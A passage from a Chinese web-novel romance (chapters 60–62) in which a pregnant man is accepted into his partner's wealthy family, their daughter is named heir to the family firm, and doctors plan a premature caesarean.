沈望已经从鹤老爷子的话音中猜出一二。 主要是 “你爸爸还说,明天要我带上妙妙去他那边,在所有鹤家人面前,宣布重要的事情。” 原本沈望对鹤爵的父亲满怀敬畏,如今看来,这老人家也绝非满心糊涂,最重要的是。 沈望心底还是有些惴惴难安,总觉得自己一个男人,不可能一点阻拦也没有,就能顺利进了鹤家的大门吧? 鹤爵叫他不必担心这些,现在鹤家最有话语权的人,不再是老一辈的,早已经换成自己。 现在最难搞的,反倒是沈妙妙。 孩子不肯认他啊! 鹤爵说,“你给妙妙讲一下今天发生的事情,重点把她爷爷打我的部分扩大渲染,没估计错的话,妙妙明天一定会去参加家宴的。” 不为什么一家团圆啦,认祖归宗啦,只为能亲眼看着鹤爵挨揍,亲闺女心情立刻舒爽极了。 沈望觉得他是被亲爹暴击之后糊涂了,谁想沈妙妙居然答应得极其爽快。 小姑娘第二天提着两盒跌打丸,看见鹤爵的瞬间笑而不语,只是递给沈望道,“这不是能走吗?” 鹤爵暗自苦笑着摇了摇头。 说女儿不关心他吧? 还知道买跌打丸过来探望,说女儿心里向着他吧? 真没见过沈妙妙此刻笑得像花朵一般灿烂。 归根究底,是妙妙不够信任他,对他保持着随时可以抽身离开的距离。 一家人驱车赶到鹤老爷子的住所,沈妙妙下车就看见门口排列站着不少人。 鹤老爷子怀抱胖乎乎的橘猫,领在一群衣冠楚楚的儿孙面前,显得鹤发童颜、慈爱可亲。 鹤爵老远就看他演得太过分,以手抵唇轻咳一声。 沈望立刻问他是不是伤口疼? 鹤爵转脸换成微笑,“如果你永远这样关心我,其实当反派也没什么可孤独的,顶多最后破产住马路。” 沈望揪了揪他的耳垂,吹了口气道,“我跟你现在是一根绳子上的两根蚂蚱,你要做反派的话,那我算什么?” 沈妙妙这次没坐在两人中间,倒不是不想跟爸爸贴贴,而是担心着沈望的身子越来越沉,挤在一起坐势必最不舒服的人是爸爸。 好女不跟男斗。 何况对方的脸皮从未薄过。 所以,最先下车的人也是沈妙妙,灵巧的女孩子走到哪里都招人喜欢,尤其沈妙妙穿着朴素洁白的连衣裙,衬托得人完美又不落俗套。 她冲鹤老爷子礼貌道,“鹤老先生,您好呀,好久不见。”用手指戳了戳胖橘猫的小脑瓜子,“胖蛋你现在可幸福啦,找到这么慈祥和蔼的主人善待你。” 要知道鹤老爷子一辈子不愿碰这些猫猫狗狗的,嫌弃小动物又吵又闹,还浑身掉毛。 可是胖蛋不一样,这是亲孙女送的礼物。 鹤老爷子将猫递进沈妙妙的怀里,笑眯眯说,“就辛苦妙妙帮我这老人家抱一阵这宝贝啦!” 鹤爵拥着沈望缓缓下车。 鹤老爷子瞪了儿子一眼,对沈望和蔼可亲道,“小沈来啦。” 鹤家的三个兄弟,包括自家的媳妇,孩子们,以及鹤氏族群中其他有头脸的人物,全部傻眼了。 尤其是看到沈望圆滚滚的肚子,被他们那不食人间烟火的爵爷谨慎簇拥着,宝贝着。 统统露出一脸恍然大悟的神情。 好像关于男人生孩子这件事情不是什么大事,鹤爵未来的媳妇是男人也是在可以理解的范畴。 鹤爵终于有继承人了这件事,明显更叫人振奋。 一家人众星拱月般跟在身后,眼瞅着沈妙妙抱着胖蛋,被鹤老爷子亲昵地叫来身边,无论如何要挨着沈妙妙坐。 至于鹤爵,肯定是跟沈望坐在主位上的。 其余人也满怀心事,纷纷坐在圆桌的四周。 文欣月看了眼沈妙妙,又看了眼鹤爵,包括沈望更是看了无数遍。 跟一旁的丈夫嘀咕,“今天这算什么情况?你搞清楚了吗?” 鹤慈已经被鹤老爷子警告过了,心里明镜一般清楚,言道,“还能是什么情况,就是我幺弟的两个孩子,今天要正式被老爷子认下来,准备认祖归宗啊。” 文欣月:“!!!!” 这个沈妙妙!!是小叔子的女儿???那么!!! 文欣月想起自己女儿说的宿敌沈妙妙!!居然是鹤爵的亲生女儿!!难怪她第一眼看见沈妙妙,就觉得这个孩子分明像极了鹤爵,当时还完全没有往这方面去深思呀!! 文欣月趁大家伙没有注意她,抓住餐桌上的手机,偷摸地转移去了僻静的角落,看了眼时间,推测一下M国的时间,鹤若妍这个点儿差不多刚起床。 赶紧给女儿打过去,直到鹤若妍睡眼惺忪地责怪她,究竟是什么情况,偏要给她大清早叫起床来? 文欣月不无紧张道,“你知道,你小叔叔为什么突然不愿意宠你了,还把你发配去了M国?” “你那个宿敌沈妙妙!她是你小叔的亲生女儿啊!你个笨丫头,当初我说什么来着?说她从某个角度来看,尤其像是你小叔叔!” 这下子惨了,女儿无意间招惹了沈妙妙,鹤爵骨子里那么狠,肯定不会叫鹤若妍再回到华国的。 文欣月催促说,“你现在起床,赶紧找辆迈巴赫在上面劈个叉,再拍张照片发过来,权当是跟你小叔叔求饶,臭丫头!” 鹤老爷子举杯圆桌,与鹤家所有的族人子嗣碰了杯酒,作为一族之长,发言难免冗长些,最后提到了鹤爵的名字。 不跟鹤爵碰杯,而是先敬酒给沈望,喜上眉梢道,“这第一杯酒可肯定是要先敬给小沈,他受了委屈,都是我这不孝子架子端得太高,才让小沈十几年过得辛苦,这杯酒算我替鹤爵向你赔罪!” 越是殷实的大家族,越是注重子嗣绵延,家庭和协,尤其是鹤家的产业能发展到如今这个规模,只凭着一句祖上流传下来的祖训——家和万睦。 鹤家的孩子每一个都在不同领域做着生意,即使鹤爵占据核心企业,但是哥哥们也从未心生嫉妒,这都是鹤老爷子遵守祖训的功劳。 尤其当年鹤爵被绑架九死一生,鹤家每一个人也没有轻易放弃他这一条生命。 如今更不要提沈妙妙,更是不容缺失的鹤家成员了。 沈望不能饮酒,但他也十分敬重地用果汁跟老爷子碰了杯。 鹤老爷子第二个面向的人是沈妙妙,笑着说,“刚才妙妙称呼我鹤老先生,这个称呼难免生疏了些,不知妙妙愿不愿意赏我老人家一份薄面,重新给我定位一下呢?” 沈妙妙大抵上也猜出今天来鹤家是做什么,鹤爵是鹤爵的部分,其余的鹤家人又没有招惹她,所以沈妙妙爽快地起身,端着酒杯朝老人家甜蜜蜜叫一声,“爷爷。” 一句称呼将鹤老爷子叫得热泪盈眶,连声说,“我的好孙女,我的好宝贝!” 严厉的目光洒向桌子间的所有鹤氏族人,朗声道,“这是我鹤淇的第二个宝贝孙女,跟妍妍一样,是鹤家的掌上明珠!” “但是妙妙这些年吃了太多的苦头,所以我现在的要求是,必须狠狠给我宠妙妙,全家必须每一个人都要宠,哪一个做不到,就是跟我作对!” 其余的人接连点头称是。 而后,鹤老爷子专门将目光朝向鹤爵道,“小沈肚子里的宝宝也是宠爱对象,咱们就等孩子生下来再提。” “你是妙妙的亲爹,这十几年也没给人家孩子、小沈做什么贡献。” “我现在就替你做主了,你那个经纬的总裁位置,现在直接预订给妙妙,咱们的妙妙宝贝毕业也不要去其他公司实习,你趁着现在,着手培养新的接班人吧。” 第60章 再挺两周 经纬风投是鹤氏集团的核心企业, 无论后来又扩展出其他的子企业,唯独这一块属于重中之重,更是支撑鹤氏集团的脊梁。 沈妙妙不过是一个大三学生,从小没有接受精英式教育, 更未经过任何风投方面的引导, 而且专业也彻底不对口。 让鹤爵将她当作继承人来培养, 恐怕会有些难度。 鹤老爷子见鹤爵并没有在第一时间答应下来,瞬间变得不怎么高兴, 言道, “怎么, 你舍不得啊?” 鹤爵回复, “我手里的权利,是您薪火相传传递给我手里的, 我再把这份光荣传递给下一代, 肯定是没有任何问题的。” 只不过 鹤老爷子忽略掉他的欲言又止, 直接将沈妙妙揽住,言道,“小四已经首肯了,我相信你们这些做哥哥嫂子的, 应该也没有什么异议吧?” 鹤家一直是鹤老爷子统筹大局, 取掉他的分量, 便是鹤爵最有发言权,最有地位, 肯定是没人愿意在这两人面前提一个不字的。 这仅仅是一个小插曲。 一家团圆的时光总是欢乐又充满温馨,尤其是沈望, 他从小经历坎坷,能有鹤家这一大群的人接纳他, 欢迎他成为家庭中的一员,允许他在森林之下扎根发芽,分享雨露滋养,受到应有的庇护。 用一个词语来形容,就是风雨同舟。 沈望是餍足的,不过他又有点担心鹤爵和女儿的关系,总觉得这两人的性格太像,谁都不肯轻易服输,又不肯率先退让一步,甚至有种剑拔弩张的意味。 所以饭局刚一结束就去找妙妙,打算先跟女儿谈谈心。 哪知鹤爵早已经给沈妙妙约走了,根本等不到他来从中做调解。 鹤爵从鹤老爷子的车库里开出来一辆法拉利,这辆车肯定不是给老人家开的,是他买下来暂存在车库里的。 鹤爵朝沈妙妙侧了一下头,“有没有胆量跟我飚一圈?” 沈妙妙对他家宴上的表现不是很满意,心底里暗自给亲爹安上一个葛朗台的美名。 “这大黑夜的,”沈妙妙双臂环胸,“鹤先生的岁数也不年轻了,走夜路能看清方向吗?” “那算了。”鹤爵轰了一下油门,眨眼窜出去几十米,喂了沈妙妙一嘴的车尾气。 沈妙妙气得原地冒烟,连声打了好几个喷嚏,法拉利在远处转了个弯,居然又从身后的方向钻了出来。 鹤爵依旧潇洒地打开车窗,手指敲击着方向盘,一脸挑衅道,“我这车是全球特制的,没有倒车档。” 言下之意是,没有第二次的机会。 沈妙妙拉开车门大胆地坐了进去,还将安全带捆得紧紧的,大声宣告,“我是嫌弃你这车真丑,基佬紫,太俗气了。” 鹤爵噗嗤一笑,“我确实不是基佬,只是我爱的恰好是你爸爸而已。” 根本连“坐稳”两个字都没提,一脚油门轰到200迈,如同奔驰的骏马一般一纵千里。 鹤老爷子家附近有一座公路盘桓的废弃路段,之前执意买下的是宅子附近的土地作为不动产,没想到这段九曲十八弯的旧路成了鹤爵的游戏场。 沈妙妙这辈子还真没感受过,人在300迈的速度中是一种什么样的体验,仿佛风景已经不再是关注的重点,与呼啸而过的狂风一般,拉长成乌黑发亮的线。 五感六神全部关注在心脏的律动和血管的流速上,以及脚底逐渐产生腾飞的错觉。 十几分钟后,鹤爵的车子紧急刹车,以一个完美漂移的滑动,将跑车停靠在公路的尽头,不远处便是断崖,十分凶险。 随着车轮胎与地面砾石的摩擦声暴起,连同沈妙妙的心脏一起在半空做了个抛物弧线,狠狠得撞击在肋骨,又反弹胸腔内。 “哇哦~” 小姑娘总觉的自己假如再多坐几分钟,一定会呕吐得天旋地转。 索性还好。 她还能快速地打开车窗,将泛凉的夜风灌进来,吹散满头汗涔涔的汗珠。 鹤爵抬起手腕看了眼手表,“果然老了,居然比去年慢了三分钟。” 其实最主要,他这辆车的极限速度是350迈,毕竟女儿宝贝一并坐在车里,还是在脚踩油门的时候,松了一点劲儿。 沈妙妙却像是故意戳他痛点,直接称赞道,“鹤先生还是有两把刷子的,宝刀未老嘛!” 嗯。 鹤爵气笑,“我才三十几岁,还没到四十,不要总是把我跟五六十岁的看齐。” 沈妙妙才不管他接受不受,趴在车窗朝外看去,鹤爵认真打量女儿的背影,偶然一瞥,看见沈妙妙露出的雪白脖颈间,一条白金细链子闪闪烁烁,自然光下宛如发亮的银线。 鹤爵并不抽烟,不过这时他倒挺想抽一口的,“你今天这声爷爷叫得挺快,不知我这声爸爸什么时候能听到?” 沈妙妙知道他接下来肯定要长篇大论了,不由淡淡道,“我从小只有一个爸爸,我只叫他爸爸。” 鹤爵并不是一个遇见困难会率先放弃的人,前一句不过是随口问问,反正女儿不肯叫他爸爸,他可以继续多等几十年。 迟早的事情。 他就是想逗逗女儿,让对方开口说话,一直沉默不理人的话,接下来的事情就没法谈。 鹤爵道,“经纬的事情,你是怎么考虑的。” 果然,老狐狸怎么可能会缺心眼呢? 沈妙妙转身朝他,一双莹亮的眼珠子淬了亮粉,闪闪烁烁道,“鹤先生,你害怕我?” 鹤爵以手抵唇,洋溢着笑意,“为什么会得出这样的结论?” “你当然怕我,”沈妙妙有理有据地分析,“我年轻、聪明,也能吃苦,万一有朝一日,我顺利接手了经纬,你害怕我会彻底翻脸,一脚踢开你!” 不是开玩笑的。 沈妙妙仔细思考了一下,假如等自己大学毕业找到工作,顶多是能给爸爸和二宝最基础的生活保障。 可是假如能得到经纬,她可以做得更多,也可以将鹤爵随便捏入掌心。 没错,她确实不够信任鹤爵,这个男人太有权势,也太聪明了,他现在保证会好好地爱爸爸,爱二宝,可是他的爱那么高高在上,终归有一天飘到爸爸根本够不到的位置。 沈妙妙也了解沈望,爸爸看起来认真,踏实,坚强不屈,可他同样容易自卑、消极,陷于自我怀疑的漩涡。 沈妙妙承认这种突然膨胀的东西叫做野心,假如老天爷将机会双手奉献在面前,只有胆小鬼才会选择退缩。 她看着鹤爵的目光不够单纯,而是一种更为直白地挑衅,不服输。 “毕竟,人的命运是掌握在自己手里的,不是吗?” 鹤爵很熟悉她眼中闪烁的亮光,没错,当年鹤老爷子说要将经纬交给他的时候,鹤爵眼底所暴露的野心,恐怕比女儿的还要直白赤.裸。 鹤爵道,“我不是小气,这一点我必须要在你面前阐述清楚。” “爷爷突然叫你做继承人,我肯定是高兴的。” 我也想多跟亲生女儿制造相处机会的。 “我只是必须先问一问你的意思,是否愿意来承担一份沉重的责任,而不是为了皇冠间闪耀的宝石。” “妙妙,欲戴王冠必受其重。我今天只是想知道,你确定这件事是你自己希望做的,而不是爷爷或我,强加给你做的。” 沈妙妙一时语塞,她倒是没料想鹤爵原来是真的在替她着想,一点微小的局促感袭上心头,只能伸手攥住胸口的护身符来排解。 鹤爵将一切看穿,不禁伸手摸摸她的头,换作温柔道,“你是只有一个爸爸,他从小抚养你长大,我绝对不会否认这一点,更不会去强制夺走属于沈望的殊荣。” “我也只是想让你知道,不管我在你的心中处于什么定位,你在我的心里只有一个定位。” “你就是我鹤爵最宝贝的女儿。” “在未来,我会成为你的老师、引导者,同样也是你最坚强的后盾,懂吗?” 沈妙妙心里乱乱的,但她绝对不会承认,是鹤爵搅乱了她的决心,嘴硬道,“有了徒弟饿死师傅,我是绝对会狠狠缠住你的,把你吸收干净的。” “愿效犬马之劳,我的公主殿下。” 说完这句话,鹤爵叮嘱她不能多吹山顶的凉风,两人又轻轻松松地开车下山。 后来鹤爵把自己这段话,又跟沈望重述了一遍。 沈望道,“其实公司是你的,你平常有多么忙,我也是有目共睹的,你不希望女儿活得太辛苦,这点你不解释,我也是可以轻松理解的。” 鹤爵笑着搂住他道,“原来我的老婆变聪明了啊?我真的超级怕你和妙妙以为我是小气鬼呢。” 假的。 沈望的肚子转眼到了七个月,已经到达了恐怖的程度,必须用绷带从肚子底下兜住,不然所带来的沉坠感异常痛楚。 沈望说怀妙妙的时候,可能真的是吃不到有营养的,那个时候同样的月份,肚子只像塞了一只气球而已,现在完全像塞了两只气球。 鹤爵也挺奇怪的,不禁再安排张院长来检查,难道说怀得根本是双胞胎? 张院长来时还带了五个外国人和一名华人医生,兴冲冲向鹤爵介绍,原本想找的研究人员因为试验期的耽误,现在终于能腾出时间了。 张院长一一引见,全都是国际上有名的,专门研究男性生子的实验专家,尤其其中几位致力于去ECMO人造子宫试验,已经在这方面获得突破性的进展。 张院长着力介绍其中最年轻的华国医生,“这位是著名的外科医生柏庭修先生,他的医学论文多次刊登在《柳叶刀》上,备受业界瞩目。” 叫做柏庭修的医生拥有一双犀利且深邃的眼睛,跟鹤爵握手时,感觉右手充满平稳扎实的力量。 鹤爵定然是疑人不用,用人不疑的,不过一个外科专家来做沈望的手术,叫他还是几分不怎么信任。 柏庭修算是一个极具分析和观察力的医生,只消鹤爵的目光稍作停留,便猜出一二,言道,“在跟鹤先生见面之前,张院长已经将鹤夫人的情况详细地传给我们。” 鹤爵订正,“不是鹤夫人,是沈先生。” “对,沈先生。”柏庭修并不觉得冒犯,反倒冷着嗓音耐心解释,“他的子宫生长与常人有异,哪怕是跟传统的女性生殖器官相比,也是位于一个比较尴尬的位置,在肠道内部。” “一般女性怀孕,子宫会随着胎儿的成长膨大,由骨盆底肌肉、子宫韧带和腹肌等支撑。” “而沈先生现在却是由肠道、骨盆肌肉在支撑,所以负担极重,沉坠感也在与日俱增。” “沈先生在怀初胎的时候的身体素质,跟现在的完全属于天然之别。” 只听他寥寥几句话,已经直指问题的关键,彻底将鹤爵平静的心湖搅乱,甚至掀起巨浪。 “那”鹤爵隐隐觉得不好。 柏庭修道,“我建议尽快安排手术,最好不要再拖延下去。” “可是!”张院长插嘴道,“七个月的孩子还有点早,属于早产儿,出生后成活率相对比较低,宝宝也容易出现感染,诱发并发症。” 鹤爵问道,“那跟产夫相比,谁的风险更大?” 柏庭修道,“肯定是沈先生的风险更大一点。” 一众人瞬间陷入了沉默,尤其是鹤爵,他已经开始沉不住气,在原地来回打转了。 “没关系的,我再忍两个星期也是可以的。” 鹤爵是在客厅接待的客人,沈望原本应该躺在床上睡觉,不过他现在身体太重,睡觉也不会陷入深度睡眠,稍微闭目养神十几分钟而已。 所以,他下楼时正好听见了几人之间的对话。 沈望扶住肚子说,“之前怀妙妙的时候,我也是差不多足月才生的她,现在这个宝宝已经足七个月了,我想多让它再长一点,哪怕极限时间是两周,我也是没有问题的。” “你怎么下楼了。”鹤爵走过去搀住他,沈望全身心地依赖着,慢悠悠地从楼梯间走下来,与新来的医生专家致意。 最后面朝面地看向柏庭修,不好意思道,“我刚才偷听了两句,真是抱歉,不过我也想请问您,假如我再多挺两周,不要很多时间,只要两周就可以的。” 想了想,沈望努力维持住自己的情绪波动,声音轻轻的,还带着一丝恳请,“这个事情不用鹤爵同意,当初孩子是我自己执意要生的,所以何时将孩子剖出来,我也想自己拿主意。” 鹤爵肯定是舍不得他受罪的,但他一辈子若是没有这些孩子,恐怕只是一个可怜的、残缺的人。 现在,他只想为这个孩子再坚持一下。 只要一点点就好。 柏庭修道,“既然沈先生执意如此,那我也肯定会竭尽全力,不过这事关到两条人命,我也不能拿自己的职业生涯做为赌注。” “我希望鹤先生这两周内不要擅自打断,或者改变我制定的计划,就这一点要求,鹤先生肯定能答应吧?” 60-63 第61章 万无一失 鹤爵尤其紧张沈望的身体状况, 君子之言以一敌百,爽快地点头道, “柏先生既然是业界小有名气的外科专家,我肯定不会怀疑您的专业技术。” 只是。 “我希望不要遇见小说里那种保大保小的问题, 而且我肯定选择保大, 这个决定不会更改。” 柏庭修表情淡淡, 言道,“这是自然。” 沈望却不喜欢听见鹤爵如此擅自做决定的话, 所以晚餐过后的也没有去庭院里散步, 而是坐在卧室里织小袜子。 鹤爵敲了门, 沈望也没有出声。 鹤爵知道对方肯定是生气了, 普通的孕妇在怀孕后期会格外容易情绪波动,一来激素分泌波动严重, 一来也是因为身体负担沉重, 若是处理不当, 则会引发产前抑郁症。 所以他也没硬闯进去,而是先去了沈淼淼的婴儿房,取来了一只软绵绵的玩具狗,对着玩具狗说了点什么。 而后, 将玩具狗塞进了门缝里面, 等待严肃的审判结果。 不到三分钟, 沈望终于换了一点带微笑的表情,将门打开, 除了大肚子用绷带兜住,怀中还抱着软绵绵的玩具狗。 鹤爵长身玉立地靠着墙, 微微伸长脖颈,侧起棱角分明的脸, 朝他问道,“不生我气了?” 沈望说,“有本事你站在这里亲自给我道歉,不要借助辅助工具。” 我没本事。 鹤爵用大手掌拍了玩具狗的头部,隐藏在玩具中的录音器被激发,狗嘴里立刻夸张地喊着,“我错了,你打我,我不疼,我爱你!” 机械式的语言完全出自于鹤爵的尊口,反倒有种无厘头的逗比感。 因为这句话,你永远都听不到正主在清醒的状态下说出口,尤其是主动承认自己错了。 沈望说,“幼稚。”准备将玩具狗跟鹤爵一起赶出去。 哪知鹤爵抱住他,蹭住沈望的脖颈,双手保护着孕夫的后腰,一点一点推着人往后面退去。 鹤爵喃喃道,“你放我进来,才是最大的错误。” 玩具狗嘴里仍旧在机械地叫着,“我错了,你打我,我不疼,我爱你!” 沈望最终被推在床上坐在,鹤爵也知道分寸地放开他,避免在沈望的沉重负担前增加不必要的重量。 既然已经彻底没法把人赶走了,沈望只好道,“你居然还有时间看小说?你不是每天连电视都不会看一眼的吗?还保大保小?” 鹤爵将沈望织的小袜子拿起来,采用的是毛茸茸的蓝色棉线,针脚编织得很密,蓬松得仿佛一团小云朵,放进他的手心内居然是小小的一只,连一半的手心都占不到。 可爱极了。 鹤爵无比羡慕二宝,摩挲着小袜子说,“之前看龙傲天小说时,发现这种情节还蛮常见的,我当然是希望,这辈子绝对不要让我做这道选择题的。” 将袜子贴在沈望的肚皮间,温柔地吻了吻里面的二宝,“爸爸不是故意对你心狠手辣,所以大夫叫你出来,你要乖乖出来,千万不要折腾你爹咪啊。” 两个人都是爸爸,谨防二宝出生后先叫谁会傻傻分不清楚,所以暂定鹤爵是大爸,沈望是爹咪。 反正沈妙妙是坚决不同意沈望叫小爸的,两个人中,凭什么她爸爸是小的? 沈望看着肚皮上黑幽幽的脑袋,用手捋了一把鹤爵丰厚的发丝,言道,“咱们不开玩笑,假如真的在生产过程中,我” “鹤爵,你能不能选择淼淼?” “沈望,你能说出这种话,那你就是根本不爱我。”鹤爵的脸贴在肚皮上,此刻是做何表情,根本看不清楚,可是从他低沉的嗓音能听出来,人是真的生气了。 “望崽,我掏心窝子的跟你说一句,你可能不爱听。” “即使没有妙妙,没有二宝,你是一个完全不能生孩子的男人,我也会只选择你一个人的。” “你可能不信,觉得我现在什么都有,所以说话虚假空泛,但我从不说谎,你是最懂我的。” “要不然,我把这话讲给妙妙听,看女儿究竟支持谁?” 沈望立刻被点了死穴,抬起鹤爵的脸,与对方黑幽幽的目光对视。 “你还打算跟妙妙说?!” 鹤爵知道属于他这边的砝码太轻,可若是加上女儿的部分,1+1绝对是远远超过2的。 沈望立刻气馁道,“你不要跟妙妙讲,我的预产期提前两周的事情,好不好?女儿正在努力备考FRM(金融风险管理师),我不想让她在多余的事情上耗费精力。” 沈妙妙在今年11月份的时候顺利考过了商务英语中级,为了庆祝女儿考试拿到优异成绩,鹤爵专门包了私人飞机,带着全家去夏威夷岛欢度一周。 眼瞅着华国的元旦即将到来,鹤爵准备要给妙妙和二宝一人一份惊喜大礼呢。 他看沈望用湿漉漉的眼睛向自己请求,心底柔软的一塌糊涂,赶紧搂住沈望道,“我怎么可能在女儿最关键的时刻去打扰她呢?我只是想打消你的执着念头。” “其实我也有错,越是在关键时刻,越是不能往坏处想,我们应该畅想我们未来的生活。” 鹤爵吻了吻沈望的额头,“是我不好,不该在你敏感的时候提那种话题,我们就让这件事彻底翻篇,好吗?” 关于孩子的话题,两人已经达成某种默契,不该执着的地方切记不可固执己见,避免因孩子产生各种意义上的摩擦。 鹤爵和沈望之所以会彼此耽搁十几年才在一起,正是因为两人不够坦诚,遇到问题喜欢藏着掖着。 经过这次的教训,两人也决定以后无论什么事情,都要先说清楚,避免产生不必要的误会。 沈望第二天开始收拾行李,他现在不能再待在鹤公馆,为了更好地给二宝争取多在肚子发育的时间,他必须要提前搬去鹤三少那家私人医院去待产。 言下之意就是他需要在产床上安静地躺够两周,不能再抱着肚子四处乱晃,加重身体负担。 期间鹤老爷子、鹤家的嫂子们、叔伯们纷纷来看过他的情况。 不过鹤爵没准他们探望时间过久,只是放下礼物便离开了。 沈望跟鹤爵说,“谢谢大家给二宝买了这么多衣服,可是家里的衣服早已经成堆了,小婴儿长得特别快,一个月一种变化,衣服最后肯定只能捐掉。” 说要捐掉。 沈望一个个看了包装盒间的LOGO,全部是国际奢贵品牌,一个普通的围嘴都要上千元,确实太铺张浪费了。 还有他产后的护理品。 沈望提起来一个类似胸罩的东西,两个胸部位置用柔软的棉片垫着,但又不像是女性使用的护胸产品,棉片是平展丰厚的,用手捏住手感十分舒服。 沈望忍住羞涩,拉来鹤爵问,“三嫂买来的这个东西,是不是弄错起,实际上是她自己用的啊?” 鹤爵眯眼看了一下,十分肯定说,“这不是三嫂买的,是我专门遣人去Y国给你特殊定制,专门防溢乳的男性胸罩。” “啊?”沈望震惊无余,“我为什么要穿这种东西?!” 鹤爵旋即将他搂过来,趁其不备,大手沿着睡衣领口往里面摸,微凉的指尖引得肌肤战栗,很快便碰触到一块湿润的纱布,被沈望偷偷用运动背心固定在胸前。 “你溢奶了。” 唔! 沈望一直小心地保守这个秘密,而且为了不让某人发现,故意每天更换十几次的纱布来遮掩。 鹤爵将湿透的两块纱布掏出来,沈望现在挺着大肚子,根本无法拒绝他的强势,只能捂住发烫的双颊,避免与某人目光对接。 鹤爵说,“我只是失去了部分嗅觉,可不是眼拙。” 那天他帮沈望洗头,沈望舒服地躺在浴缸里,鹤爵则搬好凳子挽起衣袖,修长的手指不停在对方的发丝间揉搓。 洗头发是一件很享受的事情,尤其摁在正确的穴位。 沈望应该是被心爱的人洗头伺候得异常到位,微微地起了点反应。 鹤爵看清了他的胸口,有两柱乳色的液急速喷进了浴缸中,宛如两条流淌的小白蛇,在他的眼底蜿蜒半晌,最终消散殆尽。 所以这件事他就记得很牢,几乎一周时间,每天晚上临睡前,都是以这个事情为素材,来消解空虚的欲念。 鹤爵将手掌间的棉布垫了垫,湿润的分量很足,瞬间从修长的指缝间,滴滴答答地落下几滴白液。 鹤爵舔了舔微干的嘴唇,对着异常羞涩的沈望道,“好羡慕,二宝的伙食真好。” 沈望一把捂住他的嘴,脸庞的红度早已经超标了,极速蔓延到了耳根与锁骨。 没有垫棉片的睡衣前,很快晕染出两片深色的圆圈,奶香四溢,携带着他浓郁的体香,混合成全新的味道。 沈望有点委屈道,“你不要再讲了,我这边停不下来了。” 胸口的纱布已经被某人拿走了,完全没有任何遮掩地滴淌着,洇透着,还微微涨得发疼。 鹤爵在他的手掌心内,微微地舔了几圈湿痕,眼神熏起一点深不见底的颜色,将沈望的倒影拼命往里吸吮,“有这种情况不该瞒着,知道吗?” 他在沈望的掌心嗡嗡地说着,“老公可以帮你解决。” 鹤爵替沈望穿好新买的男士胸罩,又给对方喝了点水。 沈望平躺在病床上,气喘吁吁地用手背扫了一下发丝。 胸口好像不怎么疼了。 这一点,他还是挺感谢鹤爵的。 但他就是没什么脸看那人,用手背放置在额头,来遮掩眼底的躲闪。 鹤爵摸了摸他的面颊,亲昵地吻了一口老婆发烫的面颊,吐出来的气息冥冥中带着奶甜味,言道,“我先回家去拿点文件,你乖乖睡一会儿,我一个小时就回来。” 沈望逃避似的屏住呼吸。嗯。 鹤爵其实并不是真的回去拿文件的,是他派赵管家请来的重要客人,今天抵达京城。 鹤爵坐车去接对方的机,以至于徐美珊在看见他亲自显身于飞机场,而感到无比震惊。 鹤爵眼神示意,身边的保镖已经将徐美珊的随身行李提好,为两人留下独自谈话的空间。 鹤爵朝徐医生道,“抱歉,我知道公立医院是不准许随便请假的,而且您是妇产科的专家,工作要更忙碌才对。” “但是沈望的剖腹产突然提前了,我思来想去总是睡得不安稳,觉得必须请您亲自来参与接生,还望徐医生不要介意。” 沈望后来再去产检,都是由沈妙妙陪伴的,所以她与鹤爵的见面,最正式的也就是那一次而已。 徐美珊一瞧他现在西装革履,光可鉴人,身后随着不少人,立刻认定自己当初猜测的不错,这个男人在京城的身份应该不低。 像如此有权有势的男人,居然会求到自己头上,肯定是沈望的情况不怎么好。 必须要确保万无一失才行。 徐美珊道,“沈望第一次生产就是我来做的,我对他怀孕后的身体情况应该是最了解的,你请我来,算是明智之举,所以一点也不麻烦。” 鹤爵道,“不过,这里面还有一点小的问题,我们边走边详谈吧。” “什么问题?” 徐美珊直接开门见山,“是不是沈望的身体?” 不是的。 鹤爵与徐美珊一并坐上劳斯莱斯,双手握合着至于膝盖间,呈现出一种难得的忧虑与焦灼。 虽然他说了保大保小问题里,肯定是义无反顾地保大。 但是沈望事后肯定会怨恨他,沈望太重视孩子了,甚至超过他自己的生命。 鹤爵毫无避讳,先给徐美珊介绍了柏庭修的方案,但是他必须要万无一失才行。 所以。 “我准备同时安排两场手术,先交由柏庭修来处理,他是外科方面的专家,应该不会有什么差池,而且我跟他已经达成共识,不能质疑他的治疗方案,更不能随意更换他的决定。” “可是不行,我实在无法忍受只能有一种选择的路径,您知道的,徐医生,我们做风投的人天生谨慎,永远不能将鸡蛋放在一个篮子里。” 所以。 “徐医生需要委屈您一下,您需要做的,就是请您跟我一起耐心等待,万一柏医生那边有什么不好,无论是大人,或者孩子,两方面我都希望有信任的人能在场。” 提到这样的话题无异于沉重至极。 但是鹤爵朝徐美珊露出了不曾有过的脆弱一面,“我不能失去沈望,也不能失去孩子,但是我不能失去沈望。” 第62章 老婆不见了啊!! 徐美珊之前对他的印象不好, 说话不是很好听,但足够中肯,现在看鹤爵是真心悔过,也确实重视沈望, 礼貌笑道, “鹤先生不必与我客气, 你就把我当作沈望的娘家人来对待,也是没有问题的。”. 沈望睁眼第一个看见的并非是鹤爵, 只有他自己独自躺在病床间, 肚子压得实在又大又沉, 害得他差点没有翻过身。 沈望只好用大手抚摸着肚子里的二宝, 轻声对它说,“爹咪想起来喝口水, 你跟爹咪一起用个力。” 加油! 沈望抱住沉甸甸的肚子, 撑住劲儿翻身起来, 不过动作十分谨慎,最近这几天总躺平休息,对腰椎的负担也很重。 沈望正要落下地面,用马克杯去接水, 病房的门打开了, 从外面走进来柏庭修。 柏庭修自身的气质十分清冷, 尤其穿一身白袍后,显得越发冷漠, 若不是他会正常地呼吸,正常地与人交流, 否则完全像是一台精密的人工机器,天生没有输入任何人类的感情代码。 所以说医生也算是合法的屠夫。 柏庭修说, “你想喝水的话,摁动病床旁的按钮就行了,会有人进来给你倒的,沈先生。” 言下之意是叫他不要乱动,尽量以平躺为主。 沈望最听医生的话了,尤其是自己之前傻乎乎跑去黑诊所生孩子,差点将小命丢掉,又被徐美珊抢救回来,自此之后,他对神圣的医生充满钦佩之情。 沈望不好意思地笑笑,“不怕柏医生您笑话,我感觉自己躺得快喘不上气来了,所以想稍微动一动。” 柏庭修接下来做了一件令他惊掉下巴的事情。 亲自帮他接了一杯温水,递给沈望,道,“只要再忍耐最后三天,你和孩子就都会解脱了。” 沈望抿了一口水,将手中的马克杯又转了几圈。 柏庭修道,“沈先生看起来很不安,是有什么心事?” 医生的眼睛天生尖锐,仿佛手术刀一般可以剖开所有凡尘的皮肉,直达病灶。 沈望变作小小声道,“我能不能再往后延迟两周” 